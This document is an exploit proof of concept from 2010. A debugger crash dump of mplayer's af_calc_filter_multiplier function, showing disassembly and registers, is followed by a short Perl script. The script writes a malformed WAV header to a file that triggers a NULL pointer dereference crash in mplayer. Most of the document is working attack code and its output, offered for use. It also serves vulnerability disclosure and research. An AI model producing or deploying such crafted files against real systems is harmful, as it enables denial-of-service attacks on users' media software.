55 lines
No EOL
2.2 KiB
Perl
Executable file
55 lines
No EOL
2.2 KiB
Perl
Executable file
# Exploit Title: mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day
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# Date: 17/03/2010
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# Author: Pietro Oliva
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# Software Link:
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# Version: <= 4.4.1
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# Tested on: ubuntu 9.10 but should work in windows too
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# CVE :
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#Program received signal SIGSEGV, Segmentation fault.
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#0x081176d8 in af_calc_filter_multiplier ()
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#(gdb) disas af_calc_filter_multiplier
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#Dump of assembler code for function af_calc_filter_multiplier:
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#0x081176d0 <af_calc_filter_multiplier+0>: push %ebp
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#0x081176d1 <af_calc_filter_multiplier+1>: mov %esp,%ebp
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#0x081176d3 <af_calc_filter_multiplier+3>: fld1
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#0x081176d5 <af_calc_filter_multiplier+5>: mov 0x8(%ebp),%eax
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#0x081176d8 <af_calc_filter_multiplier+8>: mov (%eax),%eax ==> mplayer tries to dereference eax, which is a NULL pointer!!!
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#0x081176da <af_calc_filter_multiplier+10>: lea 0x0(%esi),%esi
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#0x081176e0 <af_calc_filter_multiplier+16>: fmull 0x28(%eax)
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#0x081176e3 <af_calc_filter_multiplier+19>: mov 0x18(%eax),%eax
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#0x081176e6 <af_calc_filter_multiplier+22>: test %eax,%eax
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#0x081176e8 <af_calc_filter_multiplier+24>: jne 0x81176e0 <af_calc_filter_multiplier+16>
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#0x081176ea <af_calc_filter_multiplier+26>: pop %ebp
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#0x081176eb <af_calc_filter_multiplier+27>: ret
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#End of assembler dump.
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# REGISTERS:
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#eax 0x0 0 ==========> NULL
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#ecx 0xfa157a57 -99255721
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#edx 0x1fe0 8160
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#ebx 0x8509a08 139500040
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#esp 0xbfffe2e8 0xbfffe2e8
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#ebp 0xbfffe2e8 0xbfffe2e8
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#esi 0x7b84000 129515520
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#edi 0xf8000 1015808
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#eip 0x81176d8 0x81176d8 <af_calc_filter_multiplier+8>
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#eflags 0x10216 [ PF AF IF RF ]
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#cs 0x73 115
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#ss 0x7b 123
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#ds 0x7b 123
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#es 0x7b 123
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#fs 0x0 0
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#gs 0x33 51
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#!/usr/bin/perl
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print "[+] mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day by Pietro Oliva\n";
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print "[+] pietroliva[at]gmail[dot]com http://olivapietro.altervista.org\n";
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print "[+] creating crafted file mplayer.wav\n";
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$buffer="\x52\x49\x46\x46\x1f\x04\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x1f";
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open(file,"> mplayer.wav");
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print(file $buffer);
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print "[+] done!\n"; |